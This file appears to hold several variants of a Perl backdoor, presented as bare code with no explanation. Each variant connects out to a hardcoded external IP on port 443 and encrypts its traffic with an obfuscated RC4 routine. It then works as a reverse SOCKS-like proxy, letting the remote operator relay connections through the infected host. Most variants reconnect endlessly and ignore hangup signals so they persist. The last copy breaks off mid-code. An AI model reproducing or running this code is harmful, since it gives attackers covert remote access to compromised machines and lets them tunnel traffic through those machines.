#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.191'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); #!/usr/bin/env perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); my $host = '62.60.131.253'; my $port = 443; $SIG{PIPE} = 'IGNORE'; $SIG{HUP} = 'IGNORE'; $SIG{CHLD} = 'IGNORE'; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { vec($xordata, $i, 8) = int(rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; vec($rc4, $_, 8) = $_ for 0..255; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = vec($rc4, $pockemon0, 8); $pockemon1 += vec($$passw, $pockemon2, 8); $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; vec($rc4, $pockemon0, 8) = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = vec($rc4, $pockemon2, 8); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon2, 8) = $pockemon8; vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; vec($$buff0, $start + $pockemon3, 8) = vec($rc4, $pockemon8, 8) ^ vec($$buff0, $start + $pockemon3, 8); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $length = shift(@_); my $offset = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== syswrite($cSocket, $buffer, $length, $offset); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; my $str_wec = "\x00\x00"; my $buffer1 = "\x00" x 65536; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($cSocket, SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($cSocket, SOL_SOCKET, SO_SNDBUF, 65536); fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) | O_NONBLOCK); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (vec($buff0, 7, 8) == 3) { $domain = substr($buff0, 9, vec($buff0, 8, 8)); substr($str_wec, 0, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 1, 1); $port = vec($str_wec, 0, 16); } elsif (vec($buff0, 7, 8) == 1) { $domain = sprintf("%d.%d.%d.%d", vec($buff0, 8 + 0, 8), vec($buff0, 8 + 1, 8), vec($buff0, 8 + 2, 8), vec($buff0, 8 + 3, 8)); substr($str_wec, 0, 1) = substr($buff0, 12 + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 12 + 1, 1); $port = vec($str_wec, 0, 16); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) ^ O_NONBLOCK); $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, length($responce), 0); if ($_ret == 1) { while (1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = sysread($cSocket, $buffer1, 65530, 3); unless($data) { last; } vec($buffer1, 0, 8) = $num; vec($str_wec, 0, 16) = $data; substr($buffer1, 1, 1) = substr($str_wec, 1, 1); substr($buffer1, 2, 1) = substr($str_wec, 0, 1); Rc4_crypt(\$xordata, 50, \$buffer1, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer1, 3, $data); synsend($sSocket, $buffer1, 3 + $data, 0); } } close($cSocket); vec($responce, 0, 8) = $num; substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, $responce, 3, 0); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = "\x00" x 65536; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; my $str_wec = "\x00\x00"; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($socketarr[0], SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($socketarr[0], SOL_SOCKET, SO_SNDBUF, 65536); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); syswrite($socketarr[0], $buffer, length($buffer)); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; unless(select($rin, undef, undef, 60)) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, length($buffernull), 0); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0 && defined($socketarr[$ebx])) { shutdown($socketarr[$ebx], 0); } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = sysread($socketarr[0], $buffer0, $ecx, $remaining + 4); unless ($data) { last; } $remaining += $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (vec($buffer0, 0, 8) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); my $pid = fork(); if (!defined $pid) { die "Cannot fork a child: $!"; } elsif ($pid == 0) { newConnection($ebx, $socketarr[0], $socketarr[$ebx], $buffer0); exit 0; } } else { syswrite($socketarr[$ebx], $buffer0, $remaining, 4); } $remaining = 0; } } $remaining4 = 0; } else { $eax = 4; $eax = $eax - $remaining4; $data = sysread($socketarr[0], $buffer0, $eax, $remaining4); unless ($data) { last; } $remaining4 += $data; substr($buffernull, 0, 3) = "\x00\x00\x00"; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = vec($buffer0, 1, 8); substr($str_wec, 0, 1) = substr($buffer0, 3, 1); substr($str_wec, 1, 1) = substr($buffer0, 2, 1); $edx = vec($str_wec, 0, 16); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 1; $i < 200; $i++) { if (defined($socketarr[$i])) { shutdown($socketarr[$i], 0); } } sleep 10; if ($isExit == 1) { exit; } return $_ret; } while(1) { bccnct(\$host, \$port); sleep 180; } #!/usr/bin/env perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); my $host = '36.255.98.179'; my $port = 443; $SIG{PIPE} = 'IGNORE'; $SIG{HUP} = 'IGNORE'; $SIG{CHLD} = 'IGNORE'; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { vec($xordata, $i, 8) = int(rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; vec($rc4, $_, 8) = $_ for 0..255; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = vec($rc4, $pockemon0, 8); $pockemon1 += vec($$passw, $pockemon2, 8); $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; vec($rc4, $pockemon0, 8) = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = vec($rc4, $pockemon2, 8); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon2, 8) = $pockemon8; vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; vec($$buff0, $start + $pockemon3, 8) = vec($rc4, $pockemon8, 8) ^ vec($$buff0, $start + $pockemon3, 8); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $length = shift(@_); my $offset = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== syswrite($cSocket, $buffer, $length, $offset); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; my $str_wec = "\x00\x00"; my $buffer1 = "\x00" x 65536; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($cSocket, SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($cSocket, SOL_SOCKET, SO_SNDBUF, 65536); fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) | O_NONBLOCK); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (vec($buff0, 7, 8) == 3) { $domain = substr($buff0, 9, vec($buff0, 8, 8)); substr($str_wec, 0, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 1, 1); $port = vec($str_wec, 0, 16); } elsif (vec($buff0, 7, 8) == 1) { $domain = sprintf("%d.%d.%d.%d", vec($buff0, 8 + 0, 8), vec($buff0, 8 + 1, 8), vec($buff0, 8 + 2, 8), vec($buff0, 8 + 3, 8)); substr($str_wec, 0, 1) = substr($buff0, 12 + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 12 + 1, 1); $port = vec($str_wec, 0, 16); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) ^ O_NONBLOCK); $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, length($responce), 0); if ($_ret == 1) { while (1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = sysread($cSocket, $buffer1, 65530, 3); unless($data) { last; } vec($buffer1, 0, 8) = $num; vec($str_wec, 0, 16) = $data; substr($buffer1, 1, 1) = substr($str_wec, 1, 1); substr($buffer1, 2, 1) = substr($str_wec, 0, 1); Rc4_crypt(\$xordata, 50, \$buffer1, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer1, 3, $data); synsend($sSocket, $buffer1, 3 + $data, 0); } } close($cSocket); vec($responce, 0, 8) = $num; substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, $responce, 3, 0); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = "\x00" x 65536; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; my $str_wec = "\x00\x00"; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($socketarr[0], SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($socketarr[0], SOL_SOCKET, SO_SNDBUF, 65536); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); syswrite($socketarr[0], $buffer, length($buffer)); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; unless(select($rin, undef, undef, 60)) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, length($buffernull), 0); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0 && defined($socketarr[$ebx])) { shutdown($socketarr[$ebx], 0); } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = sysread($socketarr[0], $buffer0, $ecx, $remaining + 4); unless ($data) { last; } $remaining += $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (vec($buffer0, 0, 8) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); my $pid = fork(); if (!defined $pid) { die "Cannot fork a child: $!"; } elsif ($pid == 0) { newConnection($ebx, $socketarr[0], $socketarr[$ebx], $buffer0); exit 0; } } else { syswrite($socketarr[$ebx], $buffer0, $remaining, 4); } $remaining = 0; } } $remaining4 = 0; } else { $eax = 4; $eax = $eax - $remaining4; $data = sysread($socketarr[0], $buffer0, $eax, $remaining4); unless ($data) { last; } $remaining4 += $data; substr($buffernull, 0, 3) = "\x00\x00\x00"; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = vec($buffer0, 1, 8); substr($str_wec, 0, 1) = substr($buffer0, 3, 1); substr($str_wec, 1, 1) = substr($buffer0, 2, 1); $edx = vec($str_wec, 0, 16); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 1; $i < 200; $i++) { if (defined($socketarr[$i])) { shutdown($socketarr[$i], 0); } } sleep 10; if ($isExit == 1) { exit; } return $_ret; } while(1) { bccnct(\$host, \$port); sleep 180; } #!/usr/bin/env perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); my $host = '36.255.98.172'; my $port = 443; $SIG{PIPE} = 'IGNORE'; $SIG{HUP} = 'IGNORE'; $SIG{CHLD} = 'IGNORE'; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { vec($xordata, $i, 8) = int(rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; vec($rc4, $_, 8) = $_ for 0..255; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = vec($rc4, $pockemon0, 8); $pockemon1 += vec($$passw, $pockemon2, 8); $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; vec($rc4, $pockemon0, 8) = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = vec($rc4, $pockemon2, 8); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon2, 8) = $pockemon8; vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; vec($$buff0, $start + $pockemon3, 8) = vec($rc4, $pockemon8, 8) ^ vec($$buff0, $start + $pockemon3, 8); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $length = shift(@_); my $offset = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== syswrite($cSocket, $buffer, $length, $offset); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; my $str_wec = "\x00\x00"; my $buffer1 = "\x00" x 65536; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($cSocket, SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($cSocket, SOL_SOCKET, SO_SNDBUF, 65536); fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) | O_NONBLOCK); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (vec($buff0, 7, 8) == 3) { $domain = substr($buff0, 9, vec($buff0, 8, 8)); substr($str_wec, 0, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 1, 1); $port = vec($str_wec, 0, 16); } elsif (vec($buff0, 7, 8) == 1) { $domain = sprintf("%d.%d.%d.%d", vec($buff0, 8 + 0, 8), vec($buff0, 8 + 1, 8), vec($buff0, 8 + 2, 8), vec($buff0, 8 + 